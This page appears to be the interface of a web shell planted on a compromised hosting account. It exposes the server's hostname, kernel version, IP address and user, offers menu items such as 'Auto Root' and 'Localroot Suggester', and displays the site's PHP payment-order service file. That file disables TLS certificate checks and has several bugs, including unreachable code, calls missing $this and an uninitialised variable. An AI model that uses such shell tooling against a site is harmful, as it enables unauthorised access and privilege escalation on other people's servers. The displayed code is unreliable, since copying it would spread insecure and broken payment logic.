Linux sg77.dns-private.com 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
LiteSpeed
Server IP : 135.181.230.13 & Your IP : 216.73.217.69
Domains :
Cant Read [ /etc/named.conf ]
User : pilasate
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
pilasate /
public_html /
app /
app /
Services /
Delete
Unzip
Name
Size
Permission
Date
Action
Utils
[ DIR ]
drwxr-xr-x
2026-06-10 23:08
.htaccess
237
B
-r-xr-xr-x
2026-06-11 02:58
ApplyFabricToken.php
1.79
KB
-rw-r--r--
2024-09-01 07:02
CreateOrderService.php
6.55
KB
-rw-r--r--
2024-09-01 07:02
error_log
574
B
-rw-r--r--
2026-06-06 09:10
Save
Rename
<?php namespace App\Services; use App\Services\ApplyFabricToken; use App\Services\Utils\Tool; class CreateOrderService extends Tool { public $req; public $BASE_URL; public $fabricAppId; public $appSecret; public $merchantAppId; public $merchantCode; public $notify_path; function __construct($baseUrl, $req, $fabricAppId, $appSecret, $merchantAppId, $merchantCode) { $this->BASE_URL = $baseUrl; $this->req = $req; $this->fabricAppId = $fabricAppId; $this->appSecret = $appSecret; $this->merchantAppId = $merchantAppId; $this->merchantCode = $merchantCode; // $this->notify_path = "http://" . $_SERVER['SERVER_NAME']; $this->notify_path = "http://localhost:8000"; } public function mylove() { return 'I love you MG!'; } /** * @Purpose: Creating Order * * @Param: no parameters it takes from the constructor * @Return: rawRequest|String */ function createOrder() { // $title = $this->req->title; // $amount = $this->req->amount; $title = $this->req['title']; $amount = $this->req['amount']; $applyFabricTokenResult = new ApplyFabricToken( $this->BASE_URL, $this->fabricAppId, $this->appSecret, $this->merchantAppId ); $result = json_decode($applyFabricTokenResult->applyFabricToken()); // Check if the response is valid and contains a token if (is_null($result)) { return response()->json(['error' => 'Invalid response from ApplyFabricToken service'], 500); } if (!isset($result->token)) { return response()->json(['error' => 'Token not found in response'], 500); } // Extract the token from the response $fabricToken = $result->token; // Request to create order $createOrderResult = $this->requestCreateOrder($fabricToken, $title, $amount); return $createOrderResult; // Decode the result of the create order request $createOrderResponse = json_decode($createOrderResult); // Handle case where the create order response is invalid if (is_null($createOrderResponse) || !isset($createOrderResponse->biz_content->prepay_id)) { return response()->json(['error' => 'Failed to create order or prepay_id missing'], 500); } // $prepayId = json_decode($createOrderResult)->biz_content->prepay_id; // Extract prepay_id $prepayId = $createOrderResponse->biz_content->prepay_id; // Create raw request string for H5 page to start pay $rawRequest = $this->createRawRequest($prepayId); // Return the raw request (or handle it as necessary) echo trim((string)$rawRequest); } /** * @Purpose: Requests CreateOrder * * @Param: fabricToken|String title|string amount|string * @Return: String | Boolean */ function requestCreateOrder($fabricToken, $title, $amount) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->BASE_URL . '/payment/v1/merchant/preOrder'); curl_setopt($ch, CURLOPT_POST, 1); // Header parameters $headers = array( "Content-Type: application/json", "X-APP-Key: " . $this->fabricAppId, "Authorization: " . $fabricToken ); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); // Body parameters $payload = $this->createRequestObject($title, $amount); // return $payload; $data = $payload; curl_setopt($ch, CURLOPT_POSTFIELDS, $data); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); // for dev environment only $server_output = curl_exec($ch); curl_close($ch); return $server_output; } /** * @Purpose: Creating a new merchantOrderId * * @Param: no parameters * @Return: returns a string format of time (UTC) */ function createMerchantOrderId_() { return (string)time(); } /** * @Purpose: Creating Request Object * * @Param: title|String and amount|String * @Return: Json encoded string */ function createRequestObject($title, $amount) { $req = array( 'nonce_str' => $this->createNonceStr(), 'method' => 'payment.preorder', 'timestamp' => $this->createTimeStamp(), 'version' => '1.0', 'biz_content' => [], ); $biz = array( // 'notify_url' => 'https://www.google.com', 'notify_url' => $this->notify_path . '/api/payment', // set your notify end point 'business_type' => 'BuyGoods', 'trade_type' => 'InApp', 'appid' => $this->merchantAppId, 'merch_code' => $this->merchantCode, 'merch_order_id' => $this->createMerchantOrderId_(), 'title' => $title, 'total_amount' => $amount, 'trans_currency' => 'ETB', 'timeout_express' => '120m', 'payee_identifier' => '220311', 'payee_identifier_type' => '04', 'payee_type' => '5000', // 'redirect_url' => $this->path . '/app/product_list.html' ); $req['biz_content'] = $biz; $req['sign_type'] = 'SHA256WithRSA'; $req['sign'] = $this->sign($req); return json_encode($req); } /** * @Purpose: Create a rawRequest string for H5 page to start pay * * @Param: prepayId returned from the createRequestObject * @Return: rawRequest|string */ function createRawRequest($prepayId) { $maps = array( "appid" => $this->merchantAppId, "merch_code" => $this->merchantCode, "nonce_str" => createNonceStr(), "prepay_id" => $prepayId, "timestamp" => createTimeStamp(), "sign_type" => "SHA256WithRSA" ); foreach ($maps as $map => $m) { $rawRequest .= $map . '=' . $m."&"; } $sign = $this->sign($maps); // order by ascii in array $rawRequest = $rawRequest.'sign='. $sign; return $rawRequest; } }